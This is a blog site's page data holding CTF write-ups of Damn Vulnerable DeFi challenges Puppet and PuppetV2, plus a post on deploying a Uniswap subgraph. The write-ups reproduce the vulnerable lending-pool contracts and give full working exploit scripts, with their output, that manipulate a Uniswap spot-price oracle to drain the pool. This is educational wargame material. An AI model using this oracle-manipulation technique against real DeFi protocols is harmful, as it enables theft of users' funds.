{ "componentChunkName": "component---src-templates-blog-template-js", "path": "/defi-wargame-8/", "result": {"data":{"cur":{"id":"9372d1ca-a503-53a3-9871-138d6b04397b","html":"

\n \n \n

\n

Wargame Provider: @tinchoabbate

\n

Challenge #8 - Puppet

\n

There’s a huge lending pool borrowing Damn Valuable Tokens\n(DVTs), where you first need to deposit twice the borrow amount in ETH\nas collateral. The pool currently has 100000 DVTs in liquidity.

\n

There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

\n

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

\n\n

Code Audit

\n

Transaction Flow

\n

Dependency Pattern

\n
UniswapV1Exchange\nUniswapV1Factory
\n\n

Setup flow

\n

**Calculate ETH ↔ ERC20 Pair Input Price (**Buy Amount (Sell Order))

\n\n
function calculateTokenToEthInputPrice(tokensSold, tokensInReserve, etherInReserve) {\n  return tokensSold.mul(ethers.BigNumber.from('997')).mul(etherInReserve).div(\n      (tokensInReserve.mul(ethers.BigNumber.from('1000')).add(tokensSold.mul(ethers.BigNumber.from('997'))))\n  )\n}
\n\n
1. ETH reserve size of the ERC20 exchange\n2. ERC20 reserve size of the ERC20 exchange\n3. Amount sold (input) or amount bought (output)
\n

State Variable (ERC20, ETH Balance setup)

\n
// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity\nconst UNISWAP_INITIAL_TOKEN_RESERVE = 10 ether\nconst UNISWAP_INITIAL_ETH_RESERVE = 10 ether\n\nconst ATTACKER_INITIAL_TOKEN_BALANCE = 1000 ether\nconst ATTACKER_INITIAL_ETH_BALANCE = 25 ether\nconst POOL_INITIAL_TOKEN_BALANCE = 100000 ether\n\nawait ethers.provider.send(\"hardhat_setBalance\", [\n    attacker.address,\n    \"0x15af1d78b58c40000\", // 25 ETH\n]);\nexpect(\n    await ethers.provider.getBalance(attacker.address)\n).to.equal(ATTACKER_INITIAL_ETH_BALANCE);
\n\n

Contract or Account Deploy (deployer, attacker)

\n
<deployer account>\n\n- UniswapV1Exchange\n- UniswapV1Factory\n- DamnValuableToken\n- PuppetPool
\n\n
this.token = await DamnValuableTokenFactory.deploy();\n\nthis.exchangeTemplate = await UniswapExchangeFactory.deploy();\n\nthis.uniswapFactory = await UniswapFactoryFactory.deploy();\nawait this.uniswapFactory.initializeFactory(this.exchangeTemplate.address);
\n\n
let tx = await this.uniswapFactory.createExchange(this.token.address, { gasLimit: 1e6 });\nconst { events } = await tx.wait();\nthis.uniswapExchange = await UniswapExchangeFactory.attach(events[0].args.exchange);\n\nthis.lendingPool = await PuppetPoolFactory.deploy(\n    this.token.address,\n    this.uniswapExchange.address\n);\n\nawait this.token.approve(\n    this.uniswapExchange.address,\n    UNISWAP_INITIAL_TOKEN_RESERVE\n);\nawait this.uniswapExchange.addLiquidity(\n    0,                                                          // min_liquidity\n    UNISWAP_INITIAL_TOKEN_RESERVE,\n    (await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline\n    { value: UNISWAP_INITIAL_ETH_RESERVE, gasLimit: 1e6 }\n);
\n\n
@payable\naddLiquidity(\n    min_liquidity: uint256,\n    max_tokens: uint256,\n    deadline: uint256\n): uint256
\n\n

Liquidity pool exchange and calculation test work

\n
expect(\n    await this.uniswapExchange.getTokenToEthInputPrice(\n        ethers.utils.parseEther('1'),\n        { gasLimit: 1e6 }\n    )\n).to.be.eq(\n    calculateTokenToEthInputPrice(\n        ethers.utils.parseEther('1'),\n        UNISWAP_INITIAL_TOKEN_RESERVE,\n        UNISWAP_INITIAL_ETH_RESERVE\n    )\n);
\n\n

Token transfer process

\n
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);\nawait this.token.transfer(this.lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);
\n\n
\n

PuppetPool.sol

\n
\n
// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"../DamnValuableToken.sol\";\n\n/**\n* @title PuppetPool\n* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)\n*/\ncontract PuppetPool is ReentrancyGuard {\n\n  using Address for address payable;\n\n  mapping(address => uint256) public deposits;\n  address public immutable uniswapPair;\n  DamnValuableToken public immutable token;\n  \n  event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);\n\n  constructor (address tokenAddress, address uniswapPairAddress) {\n      token = DamnValuableToken(tokenAddress);\n      uniswapPair = uniswapPairAddress;\n  }\n\n  // Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH\n  function borrow(uint256 borrowAmount) public payable nonReentrant {\n      uint256 depositRequired = calculateDepositRequired(borrowAmount);\n      \n      require(msg.value >= depositRequired, \"Not depositing enough collateral\");\n      \n      if (msg.value > depositRequired) {\n          payable(msg.sender).sendValue(msg.value - depositRequired);\n      }\n\n      deposits[msg.sender] = deposits[msg.sender] + depositRequired;\n\n      // Fails if the pool doesn't have enough tokens in liquidity\n      require(token.transfer(msg.sender, borrowAmount), \"Transfer failed\");\n\n      emit Borrowed(msg.sender, depositRequired, borrowAmount);\n  }\n\n  function calculateDepositRequired(uint256 amount) public view returns (uint256) {\n      return amount * _computeOraclePrice() * 2 / 10 ** 18;\n  }\n\n  function _computeOraclePrice() private view returns (uint256) {\n      // calculates the price of the token in wei according to Uniswap pair\n      return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);\n  }\n\n}
\n

State Variable && Event

\n
using Address for address payable;\n\nmapping(address => uint256) public deposits;\naddress public immutable uniswapPair;\nDamnValuableToken public immutable token;\n\nevent Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);
\n\n

Functions

\n

constructor

\n
constructor (address tokenAddress, address uniswapPairAddress) {\n    token = DamnValuableToken(tokenAddress);\n    uniswapPair = uniswapPairAddress;\n}
\n\n

_computeOraclePrice

\n
function _computeOraclePrice() private view returns (uint256) {\n    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);\n}
\n\n

calculateDepositRequired

\n
function calculateDepositRequired(uint256 amount) public view returns (uint256) {\n    return amount * _computeOraclePrice() * 2 / 10 ** 18;\n}
\n\n

borrow

\n
function borrow(uint256 borrowAmount) public payable nonReentrant {\n    uint256 depositRequired = calculateDepositRequired(borrowAmount);\n    \n    require(msg.value >= depositRequired, \"Not depositing enough collateral\");\n    \n    if (msg.value > depositRequired) {\n        payable(msg.sender).sendValue(msg.value - depositRequired);\n    }\n\n    deposits[msg.sender] = deposits[msg.sender] + depositRequired;\n\n    \n    require(token.transfer(msg.sender, borrowAmount), \"Transfer failed\");\n\n    emit Borrowed(msg.sender, depositRequired, borrowAmount);\n}
\n\n

✅ If the pool does not have enough liquidity tokens, it will fail.

\n\n

✅ After sending the value as much as borrowAmount to msg.sender, event processing proceeds

\n

Vulnerability

\n\n

Solve

\n
it('Exploit', async function () {\n  const fromWei = (x) => web3.utils.fromWei(x);\n  const _curInfo = async (status) => {\n      \n\n      console.log(\"\\n\" + status + \"\\n\");\n      console.log(\"[+] Oracle Calc Deposit Required\")\n      let _oracle = (await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther(\"1\")))\n      console.log(fromWei(_oracle._hex))\n      console.log(\"[+] Attacker ETH-DVT Pair Balance\")\n      let attacker_eth = await ethers.provider.getBalance(attacker.address);\n      let attacker_dtv = await this.token.balanceOf(attacker.address);\n      console.log(fromWei(attacker_eth._hex));    // attacker ETH\n      console.log(fromWei(attacker_dtv._hex));  // attacker DVT\n      console.log(\"[+] LendingPool ETH-DVT Pair Balance\");\n      let pool_eth = await ethers.provider.getBalance(this.lendingPool.address);\n      let pool_dtv = await this.token.balanceOf(this.lendingPool.address);\n      console.log(fromWei(pool_eth._hex));    // lendingPool ETH\n      console.log(fromWei(pool_dtv._hex));  // lendingPool DVT\n      console.log(\"[+] Uniswap Exchange ETH-DVT Pair Balance\");\n      let exchange_eth = await ethers.provider.getBalance(this.uniswapExchange.address);\n      let exchange_dtv = await this.token.balanceOf(this.uniswapExchange.address);\n\n      console.log(fromWei(exchange_eth._hex));    // exchange ETH\n      console.log(fromWei(exchange_dtv._hex));  // exchange DVT\n  }\n  /** CODE YOUR EXPLOIT HERE */\n  _curInfo(\"Initial\");\n\n  await this.token.connect(attacker).approve(\n      this.uniswapExchange.address,\n      ethers.utils.parseEther(\"990\")\n  );\n\n  await this.uniswapExchange.connect(attacker).tokenToEthTransferInput(\n      ethers.utils.parseEther(\"990\"), // tokens_sold\n      ethers.utils.parseEther(\"1\"),   // min_eth\n      (await ethers.provider.getBlock('latest')).timestamp * 2, attacker.address  // deadline\n  );\n\n  let _oraclePrice = ethers.BigNumber.from(\n      await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther(\"1\"))\n  );\n  let muOraclePrice = _oraclePrice.mul(100000).add(1);\n\n  await this.lendingPool.connect(attacker).borrow(ethers.utils.parseEther(\"100000\"), { value: muOraclePrice });\n\n  _curInfo(\"After exploit\");\n\n});
\n
yarn run v1.22.19\n$ yarn hardhat test test/puppet/puppet.challenge.js\n$ /Users/zer0luck/ctf/wargame/blockchain/defi-wargame/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js\n(node:27635) [DEP0147] DeprecationWarning: In future versions of Node.js, fs.rmdir(path, { recursive: true }) will be removed. Use fs.rm(path, { recursive: true }) instead\n(Use `node --trace-deprecation ...` to show where the warning was created)\n\n  [Challenge] Puppet\n\nInitial\n\n[+] Oracle Calc Deposit Required\n2\n[+] Attacker ETH-DVT Pair Balance\n24.999941720374401652\n1000\n[+] LendingPool ETH-DVT Pair Balance\n0\n100000\n[+] Uniswap Exchange ETH-DVT Pair Balance\n0.100297884717611306\n1000\n\nAfter exploit\n\n[+] Oracle Calc Deposit Required\n    ✓ Exploit (50ms)\n0.000200595769435222\n[+] Attacker ETH-DVT Pair Balance\n14.839905722874661761\n100010\n[+] LendingPool ETH-DVT Pair Balance\n20.0595769435222\n0\n[+] Uniswap Exchange ETH-DVT Pair Balance\n0.100297884717611306\n1000\n\n  1 passing (606ms)\n\n✨  Done in 3.00s.
\n

next time.. 🚀

\n

I will continue to post auditing and research on 12 challenge defi Smart Contracts.

\n

Thank you for the @tinchoabbate that made a good wargame.\nDamn Vunlerable Defi

\n
\n\n
","excerpt":"Wargame Provider: @tinchoabbate Challenge #8 - Puppet There’s a huge lending pool borrowing Damn Valuable Tokens\n(DVTs), where you first need to deposit twice the borrow amount in ETH\nas collateral. The pool currently has 100000 DVTs in liquidity. There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity. Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool. See the contracts Complete the challenge Code Audit T…","frontmatter":{"date":"August 05, 2022","title":"Damn Vulnerable DeFi Wargame Challenge8 — Puppet Contract Analysis 🐦","categories":"Blockchain","author":"Zer0Luck","emoji":"🦊"},"fields":{"slug":"/defi-wargame-8/"}},"next":{"id":"b972778c-f576-5161-9969-51f6604116ed","html":"

\n \n \n

\n\n
    \n
  1. dApps add data to Ethereum through smart contract transactions
    2. \n
  2. A smart contract generates one or more events while processing a transaction.
    3. \n
  3. Graph nodes are constantly searching for new blocks in Ethereum and the data of subgraphs they can contain.
    4. \n
  4. The graph node finds Ethereum events for the subgraph in this block and executes the mapping handler provided.
    5. \n
  5. Mapping is a WASM module that creates or updates data entities that graph nodes store in response to Ethereum events.
    6. \n
  6. The dApp uses the node’s GraphQL endpoint to query the graph node for indexed data on the blockchain.
    7. \n
  7. The graph node uses the indexing capabilities of the repository to fetch this data by converting the GraphQL query into a query for the underlying data store.
    8. \n
  8. The dApp will display this data in a rich UI for the end users, who will use this data to issue new transactions in Ethereum.
    9. \n
\n

Graph Network

\n\n
\n

Quick Start

\n\n

Subgraph Studio

\n

Graph CLI install

\n
npm, install -g @graphprotocol/graph-cli
\n

subgraph init

\n
graph init --studio <SUBGRAPH_SLUG>
\n

subgraph writer

\n\n

\n \nservices:\n graph-node:\n image: graphprotocol/graph-node\n ports:\n - '8000:8000'\n - '8001:8001'\n - '8020:8020'\n - '8030:8030'\n - '8040:8040'\n depends_on:\n - postgres\n extra_hosts:\n - 172.19.0.1:host-gateway\n environment:\n postgres_host: postgres\n postgres_user: graph-node\n postgres_pass: let-me-in\n postgres_db: graph-node\n ipfs: 'https://ipfs.io'\n ethereum: 'rinkeby:https://rinkeby.infura.io/v3/8c6f778de9a94b6e9ebc0481745ad286'\n GRAPH_LOG: info\n GRAPH_ALLOW_NON_DETERMINISTIC_FULLTEXT_SEARCH: 'true'\n GRAPH_ALLOW_NON_DETERMINISTIC_IPFS: 'true'\n postgres:\n image: postgres\n ports:\n - '5432:5432'\n command:\n [\n \"postgres\",\n \"-cshared_preload_libraries=pg_stat_statements\"\n ]\n environment:\n POSTGRES_USER: graph-node\n POSTGRES_PASSWORD: let-me-in\n POSTGRES_DB: graph-node\n PGDATA: \"/data/postgres\"\n volumes:\n - ./data/postgres:/var/lib/postgresql/data\n

Subgraph Studio Deploy

\n\n
{\n  \"name\": \"Uniswap\",\n  \"license\": \"UNLICENSED\",\n  \"scripts\": {\n    \"codegen\": \"graph codegen\",\n    \"build\": \"graph build\",\n    \"deploy\": \"graph deploy --node https://api.studio.thegraph.com/deploy/ Uniswap\",\n    \"create-local\": \"graph create --node http://localhost:8020/ Uniswap\",\n    \"remove-local\": \"graph remove --node http://localhost:8020/ Uniswap\",\n    \"deploy-local\": \"graph deploy --node http://localhost:8020/ --ipfs http://localhost:5001 Uniswap\",\n    \"test\": \"graph test\"\n  },\n  \"dependencies\": {\n    \"@graphprotocol/graph-cli\": \"0.33.0\",\n    \"@graphprotocol/graph-ts\": \"0.27.0\"\n  },\n  \"devDependencies\": { \"matchstick-as\": \"0.5.0\" }\n}
\n\n
> graph codegen\n> graph build\n> graph create --node http://localhost:8020/ Uniswap\n> graph deploy --node http://localhost:8020/ --ipfs http://localhost:5001 Uniswap
\n\n

Uniswap Contract Code

\n\n
\n\n
","frontmatter":{"date":"August 04, 2022","title":"UniswapV2 Smart Contract Subgraph event query","categories":"Blockchain","author":"Zer0Luck","emoji":"🦄"},"fields":{"slug":"/uniswap-contract-event-graph/"}},"prev":{"id":"1cfd2cf1-ff79-586e-bf57-243519bd4f6e","html":"

\n );\nconst UNISWAP_INITIAL_WETH_RESERVE = ethers.utils.parseEther('10');\n\nconst ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther('10000');\nconst POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther('1000000');\n\nbefore(async function () {\n /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ \n [deployer, attacker] = await ethers.getSigners();\n\n await ethers.provider.send(\"hardhat_setBalance\", [\n attacker.address,\n \"0x1158e460913d00000\", // 20 ETH\n ]);\n expect(await ethers.provider.getBalance(attacker.address)).to.eq(ethers.utils.parseEther('20'));\n

\n
<Init: Uniswap>\nUniswap Token Reserve = 100 ether\nUniswap WETH Reserve = 10 ether\n\n<Init: Attacker Account>\nAttacker Account Token Balance = 10000 ether\n\n<Init: Lending Pool>\nLending Pool Token Balance = 1000000 ether
\n\n

Contract or Account Deploy (deployer, attacker)

\n
<deployer account>\n\n- UniswapV2Factory\n- UniswapV2Router\n- UniswapV2Pair\n- DamnValuableToken\n- WETH9
\n\n

Deploy Uniswap Factory and Router

\n
this.uniswapFactory = await UniswapFactoryFactory.deploy(ethers.constants.AddressZero);\nthis.uniswapRouter = await UniswapRouterFactory.deploy(\n    this.uniswapFactory.address,\n    this.weth.address\n);
\n\n

Create UniswapPair against WETH and add liquidity

\n
await this.token.approve(\n    this.uniswapRouter.address,\n    UNISWAP_INITIAL_TOKEN_RESERVE\n);\n\nawait this.uniswapRouter.addLiquidityETH(\n    this.token.address,\n    UNISWAP_INITIAL_TOKEN_RESERVE,                              // amountTokenDesired\n    0,                                                          // amountTokenMin\n    0,                                                          // amountETHMin\n    deployer.address,                                           // to\n    (await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline\n    { value: UNISWAP_INITIAL_WETH_RESERVE }\n);\n\nthis.uniswapExchange = await UniswapPairFactory.attach(\n    await this.uniswapFactory.getPair(this.token.address, this.weth.address)\n);\n\nexpect(await this.uniswapExchange.balanceOf(deployer.address)).to.be.gt('0');
\n\n

addLiquidityETH function instance

\n
function addLiquidityETH(\n  address token,\n  uint amountTokenDesired,\n  uint amountTokenMin,\n  uint amountETHMin,\n  address to,\n  uint deadline\n) external payable returns (uint amountToken, uint amountETH, uint liquidity);
\n\n
this.token.address,                                         // tokenAddress\nUNISWAP_INITIAL_TOKEN_RESERVE,                              // amountTokenDesired\n0,                                                          // amountTokenMin\n0,                                                          // amountETHMin\ndeployer.address,                                           // to\n(await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline\n{ value: UNISWAP_INITIAL_WETH_RESERVE }                     // msg.value
\n\n
this.uniswapExchange = await UniswapPairFactory.attach(\n    await this.uniswapFactory.getPair(this.token.address, this.weth.address)\n);\nexpect(await this.uniswapExchange.balanceOf(deployer.address)).to.be.gt('0');
\n\n

Deploy the lending pool contract

\n
this.lendingPool = await (await ethers.getContractFactory('PuppetV2Pool', deployer)).deploy(\n    this.weth.address,\n    this.token.address,\n    this.uniswapExchange.address,\n    this.uniswapFactory.address\n);
\n\n

Setup initial token balances of pool and attacker account

\n
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);\nawait this.token.transfer(this.lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);
\n\n

Ensure correct setup of pool

\n
expect(\n    await this.lendingPool.calculateDepositOfWETHRequired(ethers.utils.parseEther('1'))\n).to.be.eq(ethers.utils.parseEther('0.3'));\nexpect(\n    await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)\n).to.be.eq(ethers.utils.parseEther('300000'));
\n
\n

PuppetV2Pool.sol

\n
\n
// SPDX-License-Identifier: MIT\npragma solidity ^0.6.0;\n\nimport \"@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol\";\nimport \"@uniswap/v2-periphery/contracts/libraries/SafeMath.sol\";\n\ninterface IERC20 {\n  function transfer(address to, uint256 amount) external returns (bool);\n  function transferFrom(address from, address to, uint256 amount) external returns (bool);\n  function balanceOf(address account) external returns (uint256);\n}\n\n/**\n* @title PuppetV2Pool\n* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)\n*/\ncontract PuppetV2Pool {\n  using SafeMath for uint256;\n\n  address private _uniswapPair;\n  address private _uniswapFactory;\n  IERC20 private _token;\n  IERC20 private _weth;\n  \n  mapping(address => uint256) public deposits;\n      \n  event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);\n\n  constructor (\n      address wethAddress,\n      address tokenAddress,\n      address uniswapPairAddress,\n      address uniswapFactoryAddress\n  ) public {\n      _weth = IERC20(wethAddress);\n      _token = IERC20(tokenAddress);\n      _uniswapPair = uniswapPairAddress;\n      _uniswapFactory = uniswapFactoryAddress;\n  }\n\n  /**\n   * @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH\n   *         Sender must have approved enough WETH in advance.\n   *         Calculations assume that WETH and borrowed token have same amount of decimals.\n   */\n  function borrow(uint256 borrowAmount) external {\n      require(_token.balanceOf(address(this)) >= borrowAmount, \"Not enough token balance\");\n\n      // Calculate how much WETH the user must deposit\n      uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);\n      \n      // Take the WETH\n      _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);\n\n      // internal accounting\n      deposits[msg.sender] += depositOfWETHRequired;\n\n      require(_token.transfer(msg.sender, borrowAmount));\n\n      emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);\n  }\n\n  function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {\n      return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);\n  }\n\n  // Fetch the price from Uniswap v2 using the official libraries\n  function _getOracleQuote(uint256 amount) private view returns (uint256) {\n      (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(\n          _uniswapFactory, address(_weth), address(_token)\n      );\n      return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);\n  }\n}
\n

Interface

\n
interface IERC20 {\n  function transfer(address to, uint256 amount) external returns (bool);\n  function transferFrom(address from, address to, uint256 amount) external returns (bool);\n  function balanceOf(address account) external returns (uint256);\n}
\n

State Variable && Event

\n
using SafeMath for uint256;\n\naddress private _uniswapPair;\naddress private _uniswapFactory;\nIERC20 private _token;\nIERC20 private _weth;\n\nmapping(address => uint256) public deposits;\n    \nevent Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);
\n\n

Functions

\n

constructor

\n
constructor (\n    address wethAddress,\n    address tokenAddress,\n    address uniswapPairAddress,\n    address uniswapFactoryAddress\n) public {\n    _weth = IERC20(wethAddress);\n    _token = IERC20(tokenAddress);\n    _uniswapPair = uniswapPairAddress;\n    _uniswapFactory = uniswapFactoryAddress;\n}
\n\n

_getOracleQuote

\n
function _getOracleQuote(uint256 amount) private view returns (uint256) {\n    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(\n        _uniswapFactory, address(_weth), address(_token)\n    );\n    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);\n}
\n\n

calculateDepositOfWETHRequired

\n
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {\n    return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);\n}
\n\n

borrow

\n
function borrow(uint256 borrowAmount) external {\n    require(_token.balanceOf(address(this)) >= borrowAmount, \"Not enough token balance\");\n\n    // Calculate how much WETH the user must deposit\n    uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);\n    \n    // Take the WETH\n    _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);\n\n    // internal accounting\n    deposits[msg.sender] += depositOfWETHRequired;\n\n    require(_token.transfer(msg.sender, borrowAmount));\n\n    emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);\n}
\n\n

✅ The balance of the DVT token must be greater than or equal to the borrowAmoun value received as an argument.

\n\n

✅ Call the transfer function of the DVT token to transfer as much as borrowAmount to the user

\n\n

Vulnerability

\n\n
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {\n    console.log(_getOracleQuote(tokenAmount));\n    return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);\n}\n\n// Fetch the price from Uniswap v2 using the official libraries\nfunction _getOracleQuote(uint256 amount) private view returns (uint256) {\n    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(\n        _uniswapFactory, address(_weth), address(_token)\n    );\n    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);\n}
\n\n

Solve

\n
it('Exploit', async function () {\n  /** CODE YOUR EXPLOIT HERE */\n  const fromWei = (x) => web3.utils.fromWei(x);\n  const _curInfo = async (status) => {\n      console.log(\"\\n\" + status + \"\\n\");\n      console.log(\"[+] Oracle Calc Deposit Required\")\n      let _oracle = (await this.lendingPool.calculateDepositOfWETHRequired(ethers.utils.parseEther(\"1\")))\n      console.log(\"=> Oracle: \" + fromWei(_oracle._hex) + \"\\n\")\n      console.log(\"[+] Attacker ETH-DVT Pair Balance\")\n      let attacker_eth = await ethers.provider.getBalance(attacker.address);\n      let attacker_dtv = await this.token.balanceOf(attacker.address);\n      let attacker_weth = await this.weth.balanceOf(attacker.address);\n\n      console.log(\"=> Attacker ETH : \" + fromWei(attacker_eth._hex) + \"\\n\");    // attacker ETH\n      console.log(\"=> Attacker DVT : \" + fromWei(attacker_dtv._hex) + \"\\n\");  // attacker DVT\n      console.log(\"=> Attacker WETH : \" + fromWei(attacker_weth._hex) + \"\\n\"); // attacker WETH\n      console.log(\"[+] LendingPool ETH-DVT Pair Balance\");\n      let pool_eth = await ethers.provider.getBalance(this.lendingPool.address);\n      let pool_dtv = await this.token.balanceOf(this.lendingPool.address);\n      let pool_weth = await this.weth.balanceOf(this.lendingPool.address);\n      console.log(\"Lending Pool ETH : \" + fromWei(pool_eth._hex) + \"\\n\");    // lendingPool ETH\n      console.log(\"Lending Pool DVT : \" + fromWei(pool_dtv._hex) + \"\\n\");  // lendingPool DVT\n      console.log(\"Lending Pool WETH : \" + fromWei(pool_weth._hex) + \"\\n\");  // lendingPool WETH\n      console.log(\"[+] Uniswap Exchange ETH-DVT Pair Balance\");\n      let exchange_eth = await ethers.provider.getBalance(this.uniswapExchange.address);\n      let exchange_dtv = await this.token.balanceOf(this.uniswapExchange.address);\n      let exchange_weth = await this.weth.balanceOf(this.uniswapExchange.address);\n\n      console.log(\"Uniswap Exchange ETH : \" + fromWei(exchange_eth._hex) + \"\\n\");    // exchange ETH\n      console.log(\"Uniswap Exchange DVT : \" + fromWei(exchange_dtv._hex) + \"\\n\");  // exchange DVT\n      console.log(\"Uniswap Exchange WETH : \" + fromWei(exchange_weth._hex) + \"\\n\");  // exchange WETH\n  }\n  /** CODE YOUR EXPLOIT HERE */\n  \n  _curInfo(\"Initial\");\n\n  await this.token.connect(attacker).approve(\n      this.uniswapRouter.address,\n      ATTACKER_INITIAL_TOKEN_BALANCE\n  );\n\n  await this.uniswapRouter.connect(attacker).swapExactTokensForETH(\n      ATTACKER_INITIAL_TOKEN_BALANCE,                  // amountIn \n      0,                                               // amountOutMin \n      [this.token.address, this.uniswapRouter.WETH()], // path\n      attacker.address,                                // to\n      (await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline\n  );\n\n  _curInfo(\"State\");\n\n  const oraclePool = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);\n  console.log(\"Oracle Pool: \" + fromWei(oraclePool._hex) + \"\\n\");\n\n  await this.weth.connect(attacker).deposit({ value: oraclePool });\n  await this.weth.connect(attacker).approve(this.lendingPool.address, oraclePool);\n  await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);\n\n  _curInfo(\"Fini\");\n  \n});
\n

next time.. 🚀

\n

I will continue to post auditing and research on 12 challenge defi Smart Contracts.

\n

Thank you for the @tinchoabbate that made a good wargame.\nDamn Vunlerable Defi

\n
\n\n
","frontmatter":{"date":"August 10, 2022","title":"Damn Vulnerable DeFi Wargame Challenge9 — PuppetV2 Contract Analysis 🍘","categories":"Blockchain","author":"Zer0Luck","emoji":"🫘"},"fields":{"slug":"/defi-wargame-9/"}},"site":{"siteMetadata":{"siteUrl":"https://zer0luck.kr","comments":{"utterances":{"repo":"dnsdudrla97/dnsdudrla97.github.io"}}}}},"pageContext":{"slug":"/defi-wargame-8/","nextSlug":"/uniswap-contract-event-graph/","prevSlug":"/defi-wargame-9/"}}, "staticQueryHashes": ["1073350324","1956554647","2938748437"]}